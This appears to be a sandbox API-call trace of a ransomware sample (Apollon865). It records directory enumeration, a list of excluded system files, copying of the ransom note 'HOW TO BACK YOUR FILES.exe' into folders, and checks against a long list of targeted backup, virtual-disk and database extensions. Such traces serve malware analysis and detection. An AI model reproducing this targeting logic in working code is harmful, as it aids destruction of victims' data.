	[0054.477] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0054.477] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0054.477] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e5db3d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e5db3d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.477] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.477] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0054.477] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0054.477] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0054.477] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e601530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e601530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Content", cAlternateFileName="")) returned 1
	[0054.477] lstrcmpiW (lpString1="Content", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.477] lstrcmpiW (lpString1="Content", lpString2="Apollon865.txt.exe") returned 1
	[0054.477] lstrcmpiW (lpString1="Content", lpString2=".") returned 1
	[0054.477] lstrcmpiW (lpString1="Content", lpString2="..") returned 1
	[0054.477] lstrcmpiW (lpString1="Content", lpString2="windows") returned -1
	[0054.477] lstrcmpiW (lpString1="Content", lpString2="bootmgr") returned 1
	[0054.477] lstrcmpiW (lpString1="Content", lpString2="temp") returned -1
	[0054.477] lstrcmpiW (lpString1="Content", lpString2="pagefile.sys") returned -1
	[0054.477] lstrcmpiW (lpString1="Content", lpString2="boot") returned 1
	[0054.477] lstrcmpiW (lpString1="Content", lpString2="ids.txt") returned -1
	[0054.477] lstrcmpiW (lpString1="Content", lpString2="ntuser.dat") returned -1
	[0054.477] lstrcmpiW (lpString1="Content", lpString2="perflogs") returned -1
	[0054.477] lstrcmpiW (lpString1="Content", lpString2="MSBuild") returned -1
	[0054.477] lstrlenW (lpString="Content") returned 7
	[0054.477] lstrlenW (lpString="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\*") returned 62
	[0054.477] lstrcpyW (in: lpString1=0x119e682, lpString2="Content" | out: lpString1="Content") returned="Content"
	[0054.477] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a28
	[0054.477] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8a) returned 0x599530
	[0054.477] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7a30 | out: ListHead=0x5b75f0, ListEntry=0x5b7a30) returned 0x5b7a10
	[0054.477] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e5db3d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e5db3d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0054.477] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0054.478] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e601530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e601530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MetaData", cAlternateFileName="")) returned 1
	[0054.478] lstrcmpiW (lpString1="MetaData", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.478] lstrcmpiW (lpString1="MetaData", lpString2="Apollon865.txt.exe") returned 1
	[0054.478] lstrcmpiW (lpString1="MetaData", lpString2=".") returned 1
	[0054.478] lstrcmpiW (lpString1="MetaData", lpString2="..") returned 1
	[0054.478] lstrcmpiW (lpString1="MetaData", lpString2="windows") returned -1
	[0054.478] lstrcmpiW (lpString1="MetaData", lpString2="bootmgr") returned 1
	[0054.478] lstrcmpiW (lpString1="MetaData", lpString2="temp") returned -1
	[0054.478] lstrcmpiW (lpString1="MetaData", lpString2="pagefile.sys") returned -1
	[0054.478] lstrcmpiW (lpString1="MetaData", lpString2="boot") returned 1
	[0054.478] lstrcmpiW (lpString1="MetaData", lpString2="ids.txt") returned 1
	[0054.478] lstrcmpiW (lpString1="MetaData", lpString2="ntuser.dat") returned -1
	[0054.478] lstrcmpiW (lpString1="MetaData", lpString2="perflogs") returned -1
	[0054.478] lstrcmpiW (lpString1="MetaData", lpString2="MSBuild") returned -1
	[0054.478] lstrlenW (lpString="MetaData") returned 8
	[0054.478] lstrlenW (lpString="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content") returned 68
	[0054.478] lstrcpyW (in: lpString1=0x119e682, lpString2="MetaData" | out: lpString1="MetaData") returned="MetaData"
	[0054.478] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ba8
	[0054.478] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8c) returned 0x5995c8
	[0054.478] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7bb0 | out: ListHead=0x5b75f0, ListEntry=0x5b7bb0) returned 0x5b7a30
	[0054.478] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e601530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e601530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MetaData", cAlternateFileName="")) returned 0
	[0054.478] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0054.478] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7bb0
	[0054.478] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData") returned="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData"
	[0054.478] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5995c8 | out: hHeap=0x580000) returned 1
	[0054.478] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ba8 | out: hHeap=0x580000) returned 1
	[0054.478] lstrlenW (lpString="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData") returned 69
	[0054.478] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData" | out: lpString1="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData") returned="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData"
	[0054.478] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0054.478] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0054.479] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0054.479] GetLastError () returned 0x0
	[0054.479] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0054.479] ReadFile (in: hFile=0x14c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0054.479] CloseHandle (hObject=0x14c) returned 1
	[0054.479] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0054.479] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0054.479] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e601530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e601530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0054.479] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.479] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0054.479] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0054.480] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e601530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e601530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.480] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.480] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0054.480] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0054.480] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0054.480] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7B2238AACCEDC3F1FFE8E7EB5F575EC9", cAlternateFileName="7B2238~1")) returned 1
	[0054.480] lstrcmpiW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.480] lstrcmpiW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2="Apollon865.txt.exe") returned -1
	[0054.480] lstrcmpiW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2=".") returned 1
	[0054.480] lstrcmpiW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2="..") returned 1
	[0054.480] lstrcmpiW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2="windows") returned -1
	[0054.480] lstrcmpiW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2="bootmgr") returned -1
	[0054.480] lstrcmpiW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2="temp") returned -1
	[0054.480] lstrcmpiW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2="pagefile.sys") returned -1
	[0054.480] lstrcmpiW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2="boot") returned -1
	[0054.480] lstrcmpiW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2="ids.txt") returned -1
	[0054.480] lstrcmpiW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2="ntuser.dat") returned -1
	[0054.480] lstrcmpiW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2="perflogs") returned -1
	[0054.480] lstrcmpiW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2="MSBuild") returned -1
	[0054.480] lstrlenW (lpString="7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned 32
	[0054.480] lstrlenW (lpString="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\*") returned 71
	[0054.480] lstrcpyW (in: lpString1=0x119e694, lpString2="7B2238AACCEDC3F1FFE8E7EB5F575EC9" | out: lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned="7B2238AACCEDC3F1FFE8E7EB5F575EC9"
	[0054.480] lstrlenW (lpString="7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned 32
	[0054.480] lstrlenW (lpString="Apollon865") returned 10
	[0054.480] lstrcmpiW (lpString1="EB5F575EC9", lpString2="Apollon865") returned 1
	[0054.480] lstrlenW (lpString=".dll") returned 4
	[0054.480] lstrcmpiW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2=".dll") returned 1
	[0054.480] lstrlenW (lpString=".lnk") returned 4
	[0054.480] lstrcmpiW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2=".lnk") returned 1
	[0054.480] lstrlenW (lpString=".ini") returned 4
	[0054.480] lstrcmpiW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2=".ini") returned 1
	[0054.480] lstrlenW (lpString=".sys") returned 4
	[0054.480] lstrcmpiW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2=".sys") returned 1
	[0054.481] lstrlenW (lpString="7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned 32
	[0054.481] lstrlenW (lpString="bak") returned 3
	[0054.481] lstrcmpiW (lpString1="EC9", lpString2="bak") returned 1
	[0054.481] lstrlenW (lpString="ba_") returned 3
	[0054.481] lstrcmpiW (lpString1="EC9", lpString2="ba_") returned 1
	[0054.481] lstrlenW (lpString="dbb") returned 3
	[0054.481] lstrcmpiW (lpString1="EC9", lpString2="dbb") returned 1
	[0054.481] lstrlenW (lpString="vmdk") returned 4
	[0054.481] lstrcmpiW (lpString1="5EC9", lpString2="vmdk") returned -1
	[0054.481] lstrlenW (lpString="rar") returned 3
	[0054.481] lstrcmpiW (lpString1="EC9", lpString2="rar") returned -1
	[0054.481] lstrlenW (lpString="zip") returned 3
	[0054.481] lstrcmpiW (lpString1="EC9", lpString2="zip") returned -1
	[0054.481] lstrlenW (lpString="tgz") returned 3
	[0054.481] lstrcmpiW (lpString1="EC9", lpString2="tgz") returned -1
	[0054.481] lstrlenW (lpString="vbox") returned 4
	[0054.481] lstrcmpiW (lpString1="5EC9", lpString2="vbox") returned -1
	[0054.481] lstrlenW (lpString="vdi") returned 3
	[0054.481] lstrcmpiW (lpString1="EC9", lpString2="vdi") returned -1
	[0054.481] lstrlenW (lpString="vhd") returned 3
	[0054.481] lstrcmpiW (lpString1="EC9", lpString2="vhd") returned -1
	[0054.481] lstrlenW (lpString="vhdx") returned 4
	[0054.481] lstrcmpiW (lpString1="5EC9", lpString2="vhdx") returned -1
	[0054.481] lstrlenW (lpString="avhd") returned 4
	[0054.481] lstrcmpiW (lpString1="5EC9", lpString2="avhd") returned -1
	[0054.481] lstrlenW (lpString="db") returned 2
	[0054.481] lstrcmpiW (lpString1="C9", lpString2="db") returned -1
	[0054.481] lstrlenW (lpString="db2") returned 3
	[0054.481] lstrcmpiW (lpString1="EC9", lpString2="db2") returned 1
	[0054.481] lstrlenW (lpString="db3") returned 3
	[0054.481] lstrcmpiW (lpString1="EC9", lpString2="db3") returned 1
	[0054.481] lstrlenW (lpString="dbf") returned 3
	[0054.481] lstrcmpiW (lpString1="EC9", lpString2="dbf") returned 1
	[0054.481] lstrlenW (lpString="mdf") returned 3
	[0054.481] lstrcmpiW (lpString1="EC9", lpString2="mdf") returned -1
	[0054.482] lstrlenW (lpString="mdb") returned 3
	[0054.482] lstrcmpiW (lpString1="EC9", lpString2="mdb") returned -1
	[0054.482] lstrlenW (lpString="sql") returned 3
	[0054.482] lstrcmpiW (lpString1="EC9", lpString2="sql") returned -1
	[0054.482] lstrlenW (lpString="sqlite") returned 6
	[0054.482] lstrcmpiW (lpString1="575EC9", lpString2="sqlite") returned -1
	[0054.482] lstrlenW (lpString="sqlite3") returned 7
	[0054.482] lstrcmpiW (lpString1="F575EC9", lpString2="sqlite3") returned -1
	[0054.482] lstrlenW (lpString="sqlitedb") returned 8
	[0054.482] lstrcmpiW (lpString1="5F575EC9", lpString2="sqlitedb") returned -1
	[0054.482] lstrlenW (lpString="xml") returned 3
	[0054.482] lstrcmpiW (lpString1="EC9", lpString2="xml") returned -1
	[0054.482] lstrlenW (lpString="$er") returned 3
	[0054.482] lstrcmpiW (lpString1="EC9", lpString2="$er") returned 1
	[0054.482] lstrlenW (lpString="4dd") returned 3
	[0054.482] lstrcmpiW (lpString1="EC9", lpString2="4dd") returned 1
	[0054.482] lstrlenW (lpString="4dl") returned 3
	[0054.482] lstrcmpiW (lpString1="EC9", lpString2="4dl") returned 1
	[0054.482] lstrlenW (lpString="^^^") returned 3
	[0054.482] lstrcmpiW (lpString1="EC9", lpString2="^^^") returned 1
	[0054.482] lstrlenW (lpString="abs") returned 3
	[0054.482] lstrcmpiW (lpString1="EC9", lpString2="abs") returned 1
	[0054.482] lstrlenW (lpString="abx") returned 3
	[0054.482] lstrcmpiW (lpString1="EC9", lpString2="abx") returned 1
	[0054.482] lstrlenW (lpString="accdb") returned 5
	[0054.482] lstrcmpiW (lpString1="75EC9", lpString2="accdb") returned -1
	[0054.482] lstrlenW (lpString="accdc") returned 5
	[0054.482] lstrcmpiW (lpString1="75EC9", lpString2="accdc") returned -1
	[0054.482] lstrlenW (lpString="accde") returned 5
	[0054.482] lstrcmpiW (lpString1="75EC9", lpString2="accde") returned -1
	[0054.482] lstrlenW (lpString="accdr") returned 5
	[0054.482] lstrcmpiW (lpString1="75EC9", lpString2="accdr") returned -1
	[0054.482] lstrlenW (lpString="accdt") returned 5
	[0054.482] lstrcmpiW (lpString1="75EC9", lpString2="accdt") returned -1
	[0054.482] lstrlenW (lpString="accdw") returned 5
	[0054.483] lstrcmpiW (lpString1="75EC9", lpString2="accdw") returned -1
	[0054.483] lstrlenW (lpString="accft") returned 5
	[0054.483] lstrcmpiW (lpString1="75EC9", lpString2="accft") returned -1
	[0054.483] lstrlenW (lpString="adb") returned 3
	[0054.483] lstrcmpiW (lpString1="EC9", lpString2="adb") returned 1
	[0054.483] lstrlenW (lpString="adb") returned 3
	[0054.483] lstrcmpiW (lpString1="EC9", lpString2="adb") returned 1
	[0054.483] lstrlenW (lpString="ade") returned 3
	[0054.483] lstrcmpiW (lpString1="EC9", lpString2="ade") returned 1
	[0054.483] lstrlenW (lpString="adf") returned 3
	[0054.483] lstrcmpiW (lpString1="EC9", lpString2="adf") returned 1
	[0054.483] lstrlenW (lpString="adn") returned 3
	[0054.483] lstrcmpiW (lpString1="EC9", lpString2="adn") returned 1
	[0054.483] lstrlenW (lpString="adp") returned 3
	[0054.483] lstrcmpiW (lpString1="EC9", lpString2="adp") returned 1
	[0054.483] lstrlenW (lpString="alf") returned 3
	[0054.483] lstrcmpiW (lpString1="EC9", lpString2="alf") returned 1
	[0054.483] lstrlenW (lpString="ask") returned 3
	[0054.483] lstrcmpiW (lpString1="EC9", lpString2="ask") returned 1
	[0054.483] lstrlenW (lpString="btr") returned 3
	[0054.483] lstrcmpiW (lpString1="EC9", lpString2="btr") returned 1
	[0054.483] lstrlenW (lpString="cat") returned 3
	[0054.483] lstrcmpiW (lpString1="EC9", lpString2="cat") returned 1
	[0054.483] lstrlenW (lpString="cdb") returned 3
	[0054.483] lstrcmpiW (lpString1="EC9", lpString2="cdb") returned 1
	[0054.483] lstrlenW (lpString="ckp") returned 3
	[0054.483] lstrcmpiW (lpString1="EC9", lpString2="ckp") returned 1
	[0054.483] lstrlenW (lpString="cma") returned 3
	[0054.483] lstrcmpiW (lpString1="EC9", lpString2="cma") returned 1
	[0054.483] lstrlenW (lpString="cpd") returned 3
	[0054.483] lstrcmpiW (lpString1="EC9", lpString2="cpd") returned 1
	[0054.483] lstrlenW (lpString="dacpac") returned 6
	[0054.483] lstrcmpiW (lpString1="575EC9", lpString2="dacpac") returned -1
	[0054.483] lstrlenW (lpString="dad") returned 3
	[0054.483] lstrcmpiW (lpString1="EC9", lpString2="dad") returned 1
	[0054.484] lstrlenW (lpString="dadiagrams") returned 10
	[0054.484] lstrcmpiW (lpString1="EB5F575EC9", lpString2="dadiagrams") returned 1
	[0054.484] lstrlenW (lpString="daschema") returned 8
	[0054.484] lstrcmpiW (lpString1="5F575EC9", lpString2="daschema") returned -1
	[0054.484] lstrlenW (lpString="db-journal") returned 10
	[0054.484] lstrcmpiW (lpString1="EB5F575EC9", lpString2="db-journal") returned 1
	[0054.484] lstrlenW (lpString="db-shm") returned 6
	[0054.484] lstrcmpiW (lpString1="575EC9", lpString2="db-shm") returned -1
	[0054.484] lstrlenW (lpString="db-wal") returned 6
	[0054.484] lstrcmpiW (lpString1="575EC9", lpString2="db-wal") returned -1
	[0054.484] lstrlenW (lpString="dbc") returned 3
	[0054.484] lstrcmpiW (lpString1="EC9", lpString2="dbc") returned 1
	[0054.484] lstrlenW (lpString="dbs") returned 3
	[0054.484] lstrcmpiW (lpString1="EC9", lpString2="dbs") returned 1
	[0054.484] lstrlenW (lpString="dbt") returned 3
	[0054.484] lstrcmpiW (lpString1="EC9", lpString2="dbt") returned 1
	[0054.484] lstrlenW (lpString="dbv") returned 3
	[0054.484] lstrcmpiW (lpString1="EC9", lpString2="dbv") returned 1
	[0054.484] lstrlenW (lpString="dbx") returned 3
	[0054.484] lstrcmpiW (lpString1="EC9", lpString2="dbx") returned 1
	[0054.484] lstrlenW (lpString="dcb") returned 3
	[0054.484] lstrcmpiW (lpString1="EC9", lpString2="dcb") returned 1
	[0054.484] lstrlenW (lpString="dct") returned 3
	[0054.484] lstrcmpiW (lpString1="EC9", lpString2="dct") returned 1
	[0054.484] lstrlenW (lpString="dcx") returned 3
	[0054.484] lstrcmpiW (lpString1="EC9", lpString2="dcx") returned 1
	[0054.484] lstrlenW (lpString="ddl") returned 3
	[0054.484] lstrcmpiW (lpString1="EC9", lpString2="ddl") returned 1
	[0054.484] lstrlenW (lpString="dlis") returned 4
	[0054.484] lstrcmpiW (lpString1="5EC9", lpString2="dlis") returned -1
	[0054.484] lstrlenW (lpString="dp1") returned 3
	[0054.484] lstrcmpiW (lpString1="EC9", lpString2="dp1") returned 1
	[0054.484] lstrlenW (lpString="dqy") returned 3
	[0054.484] lstrcmpiW (lpString1="EC9", lpString2="dqy") returned 1
	[0054.484] lstrlenW (lpString="dsk") returned 3
	[0054.485] lstrcmpiW (lpString1="EC9", lpString2="dsk") returned 1
	[0054.485] lstrlenW (lpString="dsn") returned 3
	[0054.485] lstrcmpiW (lpString1="EC9", lpString2="dsn") returned 1
	[0054.485] lstrlenW (lpString="dtsx") returned 4
	[0054.485] lstrcmpiW (lpString1="5EC9", lpString2="dtsx") returned -1
	[0054.485] lstrlenW (lpString="dxl") returned 3
	[0054.485] lstrcmpiW (lpString1="EC9", lpString2="dxl") returned 1
	[0054.485] lstrlenW (lpString="eco") returned 3
	[0054.485] lstrcmpiW (lpString1="EC9", lpString2="eco") returned -1
	[0054.485] lstrlenW (lpString="ecx") returned 3
	[0054.485] lstrcmpiW (lpString1="EC9", lpString2="ecx") returned -1
	[0054.485] lstrlenW (lpString="edb") returned 3
	[0054.485] lstrcmpiW (lpString1="EC9", lpString2="edb") returned -1
	[0054.485] lstrlenW (lpString="epim") returned 4
	[0054.485] lstrcmpiW (lpString1="5EC9", lpString2="epim") returned -1
	[0054.485] lstrlenW (lpString="fcd") returned 3
	[0054.485] lstrcmpiW (lpString1="EC9", lpString2="fcd") returned -1
	[0054.485] lstrlenW (lpString="fdb") returned 3
	[0054.485] lstrcmpiW (lpString1="EC9", lpString2="fdb") returned -1
	[0054.485] lstrlenW (lpString="fic") returned 3
	[0054.485] lstrcmpiW (lpString1="EC9", lpString2="fic") returned -1
	[0054.485] lstrlenW (lpString="flexolibrary") returned 12
	[0054.485] lstrcmpiW (lpString1="E7EB5F575EC9", lpString2="flexolibrary") returned -1
	[0054.485] lstrlenW (lpString="fm5") returned 3
	[0054.485] lstrcmpiW (lpString1="EC9", lpString2="fm5") returned -1
	[0054.485] lstrlenW (lpString="fmp") returned 3
	[0054.485] lstrcmpiW (lpString1="EC9", lpString2="fmp") returned -1
	[0054.485] lstrlenW (lpString="fmp12") returned 5
	[0054.485] lstrcmpiW (lpString1="75EC9", lpString2="fmp12") returned -1
	[0054.485] lstrlenW (lpString="fmpsl") returned 5
	[0054.485] lstrcmpiW (lpString1="75EC9", lpString2="fmpsl") returned -1
	[0054.485] lstrlenW (lpString="fol") returned 3
	[0054.485] lstrcmpiW (lpString1="EC9", lpString2="fol") returned -1
	[0054.486] lstrlenW (lpString="fp3") returned 3
	[0054.486] lstrcmpiW (lpString1="EC9", lpString2="fp3") returned -1
	[0054.486] lstrlenW (lpString="fp4") returned 3
	[0054.486] lstrcmpiW (lpString1="EC9", lpString2="fp4") returned -1
	[0054.486] lstrlenW (lpString="fp5") returned 3
	[0054.486] lstrcmpiW (lpString1="EC9", lpString2="fp5") returned -1
	[0054.486] lstrlenW (lpString="fp7") returned 3
	[0054.486] lstrcmpiW (lpString1="EC9", lpString2="fp7") returned -1
	[0054.486] lstrlenW (lpString="fpt") returned 3
	[0054.486] lstrcmpiW (lpString1="EC9", lpString2="fpt") returned -1
	[0054.486] lstrlenW (lpString="frm") returned 3
	[0054.486] lstrcmpiW (lpString1="EC9", lpString2="frm") returned -1
	[0054.486] lstrlenW (lpString="gdb") returned 3
	[0054.486] lstrcmpiW (lpString1="EC9", lpString2="gdb") returned -1
	[0054.486] lstrlenW (lpString="gdb") returned 3
	[0054.486] lstrcmpiW (lpString1="EC9", lpString2="gdb") returned -1
	[0054.486] lstrlenW (lpString="grdb") returned 4
	[0054.486] lstrcmpiW (lpString1="5EC9", lpString2="grdb") returned -1
	[0054.486] lstrlenW (lpString="gwi") returned 3
	[0054.486] lstrcmpiW (lpString1="EC9", lpString2="gwi") returned -1
	[0054.486] lstrlenW (lpString="hdb") returned 3
	[0054.486] lstrcmpiW (lpString1="EC9", lpString2="hdb") returned -1
	[0054.486] lstrlenW (lpString="his") returned 3
	[0054.486] lstrcmpiW (lpString1="EC9", lpString2="his") returned -1
	[0054.486] lstrlenW (lpString="ib") returned 2
	[0054.486] lstrcmpiW (lpString1="C9", lpString2="ib") returned -1
	[0054.486] lstrlenW (lpString="idb") returned 3
	[0054.486] lstrcmpiW (lpString1="EC9", lpString2="idb") returned -1
	[0054.486] lstrlenW (lpString="ihx") returned 3
	[0054.486] lstrcmpiW (lpString1="EC9", lpString2="ihx") returned -1
	[0054.486] lstrlenW (lpString="itdb") returned 4
	[0054.486] lstrcmpiW (lpString1="5EC9", lpString2="itdb") returned -1
